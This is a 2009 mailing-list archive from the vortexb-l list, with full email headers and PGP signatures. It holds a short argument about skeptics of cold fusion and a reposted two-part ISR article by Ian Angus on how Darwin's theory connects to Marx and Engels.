v1.4.9 (GNU/Linux) iEYEARECAAYFAkom7L0ACgkQXo3EtEYbt3GykQCg3LBs7raqd70yNkKtC4KX9ZHN HZkAoLmcZCwkOlhrUgBSgsH9AwMEo5nq =HcMg -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed Jun 3 19:59:25 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n542xMTi028136; Wed, 3 Jun 2009 19:59:22 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n542xKdp028120; Wed, 3 Jun 2009 19:59:20 -0700 Resent-Date: Wed, 3 Jun 2009 19:59:20 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 3 Jun 2009 19:59:08 -0700 From: grok To: vortexb-l@eskimo.com Cc: billb@eskimo.com Message-ID: <20090604025908.GF28322@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090603154722.039813a8@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: strategy of tension, Kyudanki, Mirage 2000, Watch List, terminally guided User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4323 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Shanahan goes off the deep end! Status: RO X-Status: X-Keywords: X-UID: 565 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Now take this insight and apply it to the way you've treated Moi. Go ahead. I KNOW you can. ;P - -- grok. As the smoke cleared, William Beaty mounted the barricade and roared out: > On Wed, 3 Jun 2009, Edmund Storms wrote: > > > As I said in my talk at Univ. of Missouri, "skeptics have to believe > > that everyone studying cold fusion makes mistakes that are only > > visible to a skeptic". Shanahan proves this point very nicely. The > > attitude comes from an excessive ego without any compensating > > humility. > > I had a large insight into my own psychology, and theirs. My "inner > bigot" tells me exactly what's going on: CF-haters respond to CF > supporters in the same way that racists respond to non-whites: with > intolerance, with very strong feelings of superiority, and with buried > hatred. It's definitely an ego thing, but it seems to better fit the mold > of "race hatred." A bigot wouldn't think to trust the science done by > racial "inferiors." CF supporters are the inferior types; the outsiders > to the group of proper scientists. Hmmmmm. All these dirty ignorant cold > fusion supporters are moving into their (physics) community, joining their > country club. Something must be done! > > The phenomenon of xenophobic hatred certainly runs deep in human > psychology. Very possibly it's triggered whenever orthodox practitioners > encounter a heretic researcher. I think it could explain a lot. > > > (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) > William J. Beaty SCIENCE HOBBYIST website > billb at amasci com http://amasci.com > EE/programmer/sci-exhibits amateur science, hobby projects, sci fair > Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkonOHwACgkQXo3EtEYbt3EXagCgqCLBcshjcKKAfwq7YjK1C8k1 GVQAoMxEE04mSMdbvFUUOd+8MNF0npKV =aR5g -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed Jun 3 20:19:41 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n543JXX2029540; Wed, 3 Jun 2009 20:19:37 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n543JWgw029529; Wed, 3 Jun 2009 20:19:32 -0700 Resent-Date: Wed, 3 Jun 2009 20:19:32 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 3 Jun 2009 20:19:17 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090604031917.GH28322@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4324 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Marx & Engels... and Darwin? 1/2 Status: RO X-Status: X-Keywords: X-UID: 566 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [Let's try this yet one more time... 1st half only] For the Xian among you. - -- grok. - ---------------------------------------------------------------------- http://www.isreview.org/issues/65/feat-MarxDarwin.shtml *ISR Issue 65, May-June 2009* *Marx and Engels...and Darwin?* The essential connection between historical materialism and natural selection *By IAN ANGUS* *Ian Angus is editor of Climate and Capitalism (www.climateandcapitalism.com ) and a founding member * *of the Ecosocialist International Network. Some parts of this article were previously published in * Socialist Voice* (www.socialistvoice.ca ) and *Socialist Resistance* ( socialistresistance.org ). * 2009 IS a dual anniversary year for Charles Darwin. February 12 was the 200th anniversary of his birth and November 24 is the 150th anniversary of the publication of his masterwork, a book that remains controversial to this day. Although Darwin's political views were far from radical, his insights became the central weapons in the battle to establish materialist science as the basis for the socialist understanding of the world, and contributed to the development of Marxism. *"The basis for our view"* Only 1,250 copies of the first edition of *On the Origin of Species *were printed, and they all sold in one day. One of those who obtained a copy was Friedrich Engels, then living in Manchester. Three weeks later, he wrote to Karl Marx: Darwin, by the way, whom I'm reading just now, is absolutely splendid. There was one aspect of teleology that had yet to be demolished, and that has now been done. Never before has so grandiose an attempt been made to demonstrate historical evolution in Nature, and certainly never to such good effect.1 When Marx read *Origin* a year later, he was just as enthusiastic, calling it "the book which contains the basis in natural history for our view."2 In a letter to the German socialist Ferdinand Lasalle, he wrote: Darwin's work is most important and suits my purpose in that it provides a basis in natural science for the historical class struggle... Despite all shortcomings, it is here that, for the first time, "teleology" in natural science is not only dealt a mortal blow but its rational meaning is empirically explained.3 In 1862 Marx made a point of attending the public lectures on evolution given by Darwin's supporter Thomas Huxley, and encouraged his political associates to join him. Wilhelm Liebknecht, a friend and comrade who often visited the Marx family in London, later recalled, "when Darwin drew the conclusions from his research work and brought them to the knowledge of the public, we spoke of nothing else for months but Darwin and the enormous significance of his scientific discoveries."4 Although Marx and Engels criticized various aspects of his "clumsy English style of argument," they retained the highest regard for Darwin's scientific work for the rest of their lives.5 In his own masterwork, Marx described On the Origin of Species as an "epoch-making work."6 In 1872 Marx sent a copy of Capital to Darwin, inscribing it "on the part of his sincere admirer, Karl Marx."7 And in 1883, at Marx's funeral, Engels said, "Just as Darwin discovered the law of development of organic nature, so Marx discovered the law of development of human history."8 *Stealing the Darwinian mantle?* Charles Darwin, once condemned as a dangerous atheist, is today the object not only of great veneration, but also of a "Darwin industry" composed of academics and others who churn out an endless stream of books and articles about every possible aspect of his life and work. But Marx and Engels are still beyond the pale, so it's not surprising that some in the Darwin industry argue that there is no real connection between Darwinism and Marxism. Marx and Engels, the claim goes, were illegitimately trying to hitch their wagon to Darwin's star. Among others: o Allan Megill argues that "Marx and Engels were willing to appeal to Darwinism for propaganda purposes," but any impression that Darwinian evolution is similar to Marxism is "totally false."9 o Naomi Beck claims that for Marx and Engels, ?"Darwin's theory fulfilled for them only the function of a pretext and was not in reality connected with their views." Engels' comparison of Marx and Darwin was just an opportunist attempt to "establish Marx's independent scientific status as Darwin's equal."10 o D. A. Stack says that Engels' remarks at Marx's graveside were part of a "parochial propagandist campaign to steal the Darwinian mantle... The term 'Darwinian' was sought as an honorific title, nothing more." Engels was just "keen for Marxism to bask in the reflected glory of Darwinism."11 It's difficult to decide which is worse--the cynicism that suggests Engels would use his lifelong comrade's funeral as an occasion to win petty political advantage or the ignorance these writers display of both the revolutionary implications of Darwinism and the importance of natural science to Marxist theory. Anyone who seriously studies the works of Marx, Engels, and Darwin will understand--even if they don't agree with him--that Marx was both honest and exceptionally insightful when he wrote that On the Origin of Species "contains the basis in natural history for our view." To understand what Marx meant, we need to understand what Darwin wrote, and why his views marked a radical break with the dominant ideas of his day. *An unlikely revolutionary* Charles Robert Darwin was, to say the least, an unlikely revolutionary. His father was a prominent physician and wealthy investor; his grandfather was Josiah Wedgwood, founder of one of the largest manufacturing companies in Europe. He could have lived a life of leisure but instead he devoted his life to science. In 1825 his father sent him to the University of Edinburgh to study medicine, but Charles was much more interested in studying nature, a subject not offered as a degree program at any university in Great Britain. After two years he dropped out of Edinburgh and enrolled in Cambridge, aiming to become an Anglican priest--a respectable profession that would allow him leisure time to collect beetles, stuff birds, or search for fossils. (This wasn't as improbable as it seems today. At the time, the great majority of naturalists in England, including all the professors who taught science at Oxford and Cambridge, were ordained Anglican priests. Clergymen studied nature not just for its own sake but as a contribution to "natural theology"--understanding God by studying His works.) Darwin seems to have been a competent theology student, but he particularly impressed the men who taught science. After graduation in 1831, one professor took him on a three-week geology expedition in North Wales, and then his botany professor recommended him to Captain Robert Fitzroy of the Royal Navy, who was looking for a gentleman naturalist to travel with him as an unpaid companion on a surveying voyage to South America and the South Pacific.12 And so it began. On December 27, 1831, twenty-two-year-old Charles Darwin boarded the British survey ship HMS Beagle. Although plagued by seasickness, he traveled much more comfortably than the crew: he ate at the captain's table, was accompanied by a manservant, and had more than sufficient funds (provided by his doting father) to rent comfortable accommodations when the ship was in port. But it wasn't a pleasure trip; he conducted extensive and detailed geological studies, wrote thousands of pages of scientific observations, and collected more than 1,500 specimens of living and fossil life. *Heresy* When he left England, Darwin seems to have been a conventional Christian who agreed with "the great majority of naturalists [who] believed that species were immutable productions, and had been separately created."13 Biblical literalists and deists alike agreed that species were fixed by divine law. Dogs might vary in appearance, but dogs don't turn into pigs or give birth to cats. After five years of scientific research on the Beagle and two more years of study at home, Darwin came to a heretical conclusion: species were not immutable. All animals were descended from common ancestors, different species resulted from gradual changes over millions of years, and God had nothing to do with it. It is difficult, today, to appreciate just how shocking this idea would be to the middle and upper classes of Darwin's time. Religion wasn't just the "opium of the masses"--it gave the wealthy moral justification for their privileged lives in a world of constant change and gross inequality. One of the most popular hymns of the Victorian age clearly expressed the link between God the creator of all life and God the preserver of the social stability: All things bright and beautiful, All creatures great and small, All things wise and wonderful, The Lord God made them all. Each little flower that opens, Each little bird that sings, He made their glowing colors, He made their tiny wings. The rich man in his castle, The poor man at his gate, God made them, high or lowly, And order'd their estate. *All Things Bright and Beautiful* was published in 1848, shortly after a famine that killed more than a million people in Ireland, and while revolutionary uprisings were sweeping across Europe. In the face of such social crises, hymns like this and the sermons that accompanied them taught both rich and poor that the status quo was divinely ordained. Anyone who questioned God's word was endangering the very fragile social order. *The mystery of mysteries* Nevertheless, by the 1830s educated people, including Darwin, knew that the Genesis creation story wasn't literally true. The expansion of capitalism in the 1700s had led to booms in mining and canal building; those works exposed geological layers and ancient fossils that proved that the earth was millions of years of old--not the six thousand years allowed by Biblical chronology. What's more, the fossil record showed that animals unknown today were once common, while modern animals appeared relatively recently, contradicting the claim that God created all species at once. And in the same period, imperialism led to global exploration and the discovery of more varieties of plant and animal life than any European had ever imagined--far more than could have lived in Eden or found space on Noah's ark. By the 1830s, scientists agreed that there were only two possible explanations for the accumulating evidence. The very influential Cambridge professor William Whewell summed up the choices: Either we must accept the doctrine of the transmutation of species, and must suppose that the organized species of one geological epoch were transmuted into those of another by some long-continued agency of natural causes; or else, we must believe in many successive acts of creation and extinction of species, out of the common course of nature; acts which, therefore, we may properly call miraculous.14 Whewell, like every other respectable scientist of the time, had no doubt about the answer: animals and plants may vary in response to external circumstances, but "the extreme limit of variation may usually be reached in a brief period of time: in short, species have a real existence in nature, and a transition from one to another does not exist."15 If species could not change over time, only miracles could explain the fossil record. But how did God do it? What did the process of divine creation actually look like on earth? "The replacement of extinct species by others," was, wrote astronomer John Herschell, the "mystery of mysteries."16 While some scientists and theologians insisted that God must personally intervene each time a new species is required, others were confident that the Creator had set up the universe so that new species were created through "secondary causes"--i.e., by natural means--whenever they were needed. What's particularly noteworthy today is the fact that "God did it" wasn't just an acceptable answer to difficult questions, it was standard scientific methodology. Even scientists who believed that nature could be completely explained by natural laws believed that God established those laws to ensure that creation proceeded according to His will. *Evolution before Darwin* The very fact that the scientific establishment thought it necessary to vigorously deny "transmutation of species" shows that not everyone agreed that species couldn't change. A noteworthy example was Charles Darwin's grandfather, Erasmus Darwin, who described something like evolution in his 1794 book Zoönomia, and again in 1803 in a book-length poem, The Temple of Nature. His evolutionary ideas don't seem to have influenced anyone--probably the result, as Charles Darwin later wrote, of "the proportion of speculation being so large to the facts given."17 Others offered similar speculations, but before Darwin, only two writers proposed worked-out theories of species change over time: Jean-Baptiste Lamarck and Robert Chambers. Lamarck was appointed head of the invertebrate division of the Muséum National d'Histoire Naturelle in Paris when France's revolutionary government reorganized the country's scientific institutions in the 1790s. In the early 1800s, he argued that all modern animals are the descendants of less complex ancestors. Unlike Darwin, Lamarck didn't suggest common descent, but rather a complex model in which every type of organism went through a separate evolutionary process. Nature constantly and spontaneously creates new evolutionary lines, beginning with single-celled animals that have an innate drive to become more complex, or perfect, over time. Eventually, if the climb isn't interrupted, they reach the peak of perfection as human beings. But the climb is often* interrupted *by environmental changes to which the animal must respond. Giraffes develop long necks by stretching to reach high leaves, while fish that live in caves become blind because they don't use their eyes--and those changes are then inherited by their offspring. In Lamarck's works, this was a secondary process, but the term "Lamarckism" has since come to mean "inheritance of acquired characteristics" and nothing else. Lamarck's views won little support from other scientists, even in France, but there was a significant "underground" Lamarckian current in England among radical democrats, socialists, and secularists between 1820 and 1850. Many of them used Lamarckian arguments to criticize the undemocratic English state and the Anglican Church. Cannibalized fragments of Lamarck's evolutionary biology--which provided a model of relentless ascent power-driven "from below"--turned up in the pauper press. Lamarck's notion that an animal could, through its own exertions, transform itself into a higher being and pass on its gains--all without the aid of a deity--appealed to the insurrectionary working classes. His ideas were propagated in their illegal penny prints, where they mixed with demands for democracy and attacks on the clergy.18 Much more influential on broad public opinion in England was *Vestiges of the Natural History of Creation*, published anonymously in 1844 by Robert Chambers, a magazine publisher and amateur geologist from Edinburgh. He attributed the entire history of the universe to a God-ordained "Law of Development" that produced stars, planets, and eventually life. After the first life arose spontaneously on earth, animals and plants ascended the ladder of life. "It has pleased Providence to arrange that one species should give birth to another, until the second highest gave birth to man, who is the very highest."19 Chambers meant "gave birth" literally. Drawing on the theory that embryos pass through stages similar to the adults of more primitive animals, he concluded that when it was time for a new species to arrive, females would somehow extend their gestation periods, so that their offspring would emerge as the next species up the ladder. Universally condemned by the scientific establishment at the time, and nearly forgotten today, *Vestiges* was nevertheless a sensational bestseller. Before *On the Origin of Species*, *Vestiges* was the only book on evolution that most English readers might have read.20 *Essentialism and teleology * As we've seen, the scientific discoveries of the late eighteenth and early nineteenth centuries provoked widespread speculation about Herschell's "mystery of mysteries." Most professional scientists and many amateurs and outsiders offered views on how the apparent extinction and creation of species could be explained or explained away. While the explanations varied, they all rested on a common ideology, the twin concepts of essentialism and teleology. *Essentialism *is based on the first law of formal logic: that a thing is always equal to itself, that A always equals A. That's a useful, even necessary assumption for many purposes, but it ignores the reality of change--that over time all things decay, or transform, or combine, so that A turns into something that is no longer A. In nineteenth-century natural science, essentialist thinkers assumed that the definition or idea of a species is more important, indeed more real, than the specific organisms we can actually observe. A species is a constant, unchanging type--the variations we observe in nature are accidental and transitory. As we've seen, William Whewell believed firmly that "*species have a real existence in nature*, and a transition from one to another does not exist." Charles Lyell, the leading geologist of that time, devoted several chapters of his most important book, Principles of Geology, to a critique of Lamarck and the very idea that species can change. As Stephen Jay Gould points out, Lyell's argument was rooted not in actual study of nature, but in his essentialist philosophy: The focus of Lyell's argument--and the reason for lambasting evolution defined as insensible transition between species--rests upon a view of species as entities, not tendencies; things, not arbitrary segments of a flux. Species arise at particular times in particular regions. They are, if you will, particles with a definite point of origin, an unchanging character during their geological duration, and a clear moment of extinction.21 It is obvious that those who rejected evolution held essentialist views. But people like Chambers, who held that one kind of organism could give birth to another, were also essentialist. In their view of evolution, species didn't change; rather, one natural kind was wholly replaced by a new one. *Teleology* is the belief that all things are designed for or inherently directed toward a final result. Birds were given wings so that they could fly, giraffes got long necks so that they could reach high leaves, and the earth was created as a place for people to live. The idea that the earth and everything in it was designed by God to achieve His divine ends was almost universally accepted by the leading philosophers and scientists in the nineteenth century. Serious thinkers claimed that coal deposits were laid down in England so that they could later be used by industry, or that the fact that the life cycle of most plants equals the duration of the earth's revolution around the sun is an obvious case of Divine design. Even Lamarck, who did not include God in his theory, held that there was a mysterious force driving all organisms to become ever more perfect, until they reach perfection as human beings. *Natural selection* In Origin, Darwin argued that three factors combine to create new species: population pressure, variation and inheritance, and natural selection. 1) *Population pressure: *All organisms tend to have more offspring than can survive in the local environment. Many individuals either do not survive or are not able to reproduce. 2) *Variations and heritability:* There are many variations between the members of a given population: no two individuals are exactly alike. Most of these variations are inheritable--that is, they are passed on to the offspring of the individuals concerned. While most of these variations are insignificant (eye color, for example), some will increase or decrease the individual's chances of surviving and reproducing. 3) *Natural selection:* Individuals with favorable variations will tend to have more offspring than average; those with unfavorable variations will tend to have fewer. As a result, over long periods of time unfavorable variations will tend to decrease in frequency, while favorable variations will become more common. This implied a very different explanation of the giraffe's long neck. Contrary to Lamarck, Darwin suggested that the giraffe's ancestors had necks of various lengths. Those with longer necks could reach more leaves than those with shorter necks. Being better fed, they were stronger, tended to live longer and have more offspring--so over time the population's average neck length increased. ... - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkonPTUACgkQXo3EtEYbt3FcngCfTZ1A5UjQDjvgtWUkUleXvxEX EscAniff7mdkR7C5FIa9Ln2Mu0pKc43p =+dGz -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed Jun 3 20:20:35 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n543KSqr002090; Wed, 3 Jun 2009 20:20:28 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n543KS9R002077; Wed, 3 Jun 2009 20:20:28 -0700 Resent-Date: Wed, 3 Jun 2009 20:20:28 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=S/I3JKAwa0fcCzqaZqUSrgduUTONihDeWKEEtnVgvRU=; b=oIz+0Rop+SfZnk5JE8x1BPonWNCwLQuLisX4SZn2RvCsHQmgvnC3/Bw2lHOvXMzAML 20+5k5SopPEcnfljAcf8tH7qUCIDraJiCp+x7XG6/Cmk8wlSYA/KGzw04vONap7AtPz4 49QArh06ZKT1eRIyMRwqKUzo+PnqMEfRZTLuc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=pRWuHI+B6xMUUjjQrqBuLgHQb3Vy7ZQ3mOnrhqfaaYO/t1ajPwQyqqKYUkPLn706Lg lK8S+zBB1T9J8TYYXU9kBHHueQDM9VpU60hm2pp3pfSQYL2zVm8b/T1PW08d+jftJwJ/ T/sZttN7MKAN9u1kVjhedxkOqNBUj/L5FG6DU= MIME-Version: 1.0 In-Reply-To: <20090604025908.GF28322@shell.resist.ca> References: <7.0.1.0.2.20090603154722.039813a8@gmail.com> <20090604025908.GF28322@shell.resist.ca> From: Charles HOPE Date: Wed, 3 Jun 2009 23:20:06 -0400 Message-ID: <63ffa6020906032020p222e8c1cp68dc40e3c6b21975@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Shanahan goes off the deep end! To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001517478c2cd05ceb046b7d416e Resent-Message-ID: <2WWHB.A.Xg.71zJKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4325 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 567 --001517478c2cd05ceb046b7d416e Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable > CF-haters respond to CF > supporters in the same way that racists respond to non-whites: with > intolerance, with very strong feelings of superiority, and with buried > hatred. You and Capitalism? On Wed, Jun 3, 2009 at 10:59 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > Now take this insight and apply it to the way you've treated Moi. > Go ahead. I KNOW you can. > ;P > > - -- grok. > > > > As the smoke cleared, William Beaty > mounted the barricade and roared out: > > > On Wed, 3 Jun 2009, Edmund Storms wrote: > > > > > As I said in my talk at Univ. of Missouri, "skeptics have to believe > > > that everyone studying cold fusion makes mistakes that are only > > > visible to a skeptic". Shanahan proves this point very nicely. The > > > attitude comes from an excessive ego without any compensating > > > humility. > > > > I had a large insight into my own psychology, and theirs. My "inner > > bigot" tells me exactly what's going on: CF-haters respond to CF > > supporters in the same way that racists respond to non-whites: with > > intolerance, with very strong feelings of superiority, and with buried > > hatred. It's definitely an ego thing, but it seems to better fit the > mold > > of "race hatred." A bigot wouldn't think to trust the science done by > > racial "inferiors." CF supporters are the inferior types; the outsider= s > > to the group of proper scientists. Hmmmmm. All these dirty ignorant > cold > > fusion supporters are moving into their (physics) community, joining > their > > country club. Something must be done! > > > > The phenomenon of xenophobic hatred certainly runs deep in human > > psychology. Very possibly it's triggered whenever orthodox practitione= rs > > encounter a heretic researcher. I think it could explain a lot. > > > > > > (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) > > William J. Beaty SCIENCE HOBBYIST website > > billb at amasci com http://amasci.com > > EE/programmer/sci-exhibits amateur science, hobby projects, sci fair > > Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkonOHwACgkQXo3EtEYbt3EXagCgqCLBcshjcKKAfwq7YjK1C8k1 > GVQAoMxEE04mSMdbvFUUOd+8MNF0npKV > =3DaR5g > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001517478c2cd05ceb046b7d416e Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable > CF-haters respond to CF
> supporters in the same way that racists respond to non-whites: with > intolerance, with very strong feelings of superiority, and with buried=
> hatred.

You and Capitalism?



On Wed, Jun 3, 2009 at 10:59 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Now take this insight and apply it to the way you've treated Moi.=
Go ahead. I KNOW you can.
;P

- -- grok.



As the smoke cleared, William Beaty <billb@eskimo.com>
mounted the barricade and roared out:

> On Wed, 3 Jun 2009, Edmund Storms wrote:
>
> > As I said in my talk at Univ. of Missouri, "skeptics have to= believe
> > that everyone studying cold fusion makes mistakes that are only > > visible to a skeptic". Shanahan proves this point very nicel= y. =A0The
> > attitude comes from an excessive ego without any compensating
> > humility.
>
> I had a large insight into my own psychology, and theirs. =A0My = "inner
> bigot" tells me exactly what's going on: CF-haters respond to= CF
> supporters in the same way that racists respond to non-whites: with > intolerance, with very strong feelings of superiority, and with buried=
> hatred. =A0It's definitely an ego thing, but it seems to better fi= t the mold
> of "race hatred." =A0A bigot wouldn't think to trust the= science done by
> racial "inferiors." =A0CF supporters are the inferior types;= the outsiders
> to the group of proper scientists. =A0Hmmmmm. =A0All these dirty ignor= ant cold
> fusion supporters are moving into their (physics) community, joining t= heir
> country club. =A0Something must be done!
>
> The phenomenon of xenophobic hatred certainly runs deep in human
> psychology. =A0Very possibly it's triggered whenever orthodox prac= titioners
> encounter a heretic researcher. =A0I think it could explain a lot.
>
>
> (((((((((((((((((( ( ( =A0( =A0 ( =A0 =A0(O) =A0 =A0) =A0 ) =A0) ) )))= ))))))))))))))))
> William J. Beaty =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 = =A0SCIENCE HOBBYIST website
> billb at amasci com =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 http://amasci.com
> EE/programmer/sci-exhibits =A0 amateur science, hobby projects, sci fa= ir
> Seattle, WA =A0206-762-3818 =A0 =A0unusual phenomena, tesla coils, wei= rd sci





- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkonOHwACgkQXo3EtEYbt3EXagCgqCLBcshjcKKAfwq7YjK1C8k1
GVQAoMxEE04mSMdbvFUUOd+8MNF0npKV
=3DaR5g
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001517478c2cd05ceb046b7d416e-- From vortexb-l-request@eskimo.com Wed Jun 3 21:31:14 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n544V94E023749; Wed, 3 Jun 2009 21:31:09 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n544V8w9023734; Wed, 3 Jun 2009 21:31:08 -0700 Resent-Date: Wed, 3 Jun 2009 21:31:08 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 3 Jun 2009 21:30:56 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090604043056.GA7369@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4326 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Marx & Engels... and Darwin? 2/2 Status: RO X-Status: X-Keywords: X-UID: 568 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ... Unlike Lamarck and Chambers, Darwin wasn't just speculating. His "theory of descent with modification through natural selection"22 was developed and then fine-tuned in years of careful study and experimentation. In his home in rural Kent, south of London, he dissected all kinds of animals, raised pigeons to learn about variation and inheritance, and experimented with plant germination and seed dispersal. Above all, he sought out and learned from people with practical, hands-on knowledge--gamekeepers, pigeon enthusiasts, sheep and cattle breeders, gardeners, and zoo managers. These materialist methods led him to an entirely materialist theory--at a time when materialism wasn't just unpopular in respectable circles, it was considered subversive and politically dangerous. Between 1838 and 1848, while he was first working out his ideas, England was swept by an unprecedented wave of mass actions, political protests and strikes. Radical ideas--*materialist, atheistic ideas*--were infecting the working class, leading many to expect (or fear) revolutionary change. Darwin was never actively involved in politics, but he was a privileged member of the wealthy middle class and that class was under attack. As John Bellamy Foster writes, "Darwin was a strong believer in the bourgeois order. His science was revolutionary, but Darwin the man was not."23 Rather than risk being identified with the radicals and perhaps being ostracized by his fellow gentleman-scientists, Darwin wrote a 270-page account of his theory in 1844, attached a letter asking his wife to publish it if he died, and told no one else. Between 1840 and 1854 he wrote a popular account of his voyage around the world, scientific books on coral reefs and volcanic islands, and an exhaustive four-volume study of barnacles. Only in the mid-1850s, when his scientific reputation was assured, and the social turbulence of the 1840s was clearly over, did he return to the subject for which he is now most famous. Even then he would likely have delayed into the next decade had not a younger naturalist, Alfred Russel Wallace, sent him an essay containing ideas similar to his own. Pressed by friends to publish, Darwin set aside "the big book on species" he was working on and prepared what he called an abstract. *On the Origin of Species by Means of Natural Selection, or, the Preservation of Favoured Races in the Struggle for Life* was published in November 1859. *Turning science right way up* Marx wrote that in Hegel's writings, the dialectic "is standing on its head," so it had to be turned right side up to discover "the rational kernel within the mystical shell."24 That is what Marx and Engels did in the process of working out the fundamental basis of their views, historical materialism. And that is exactly what Darwin did in *On the Origin of Species*. He overturned the fundamental concepts of nineteenth-century science, taking an upside-down view of nature, and turned it right side up. *He overturned essentialism.* "I look at the term 'species' as one arbitrarily given, for the sake of convenience, to a set of individuals closely resembling each other."25 A species is not a thing, and change does not involve the transformation or replacement of that thing. A species is a population of real, 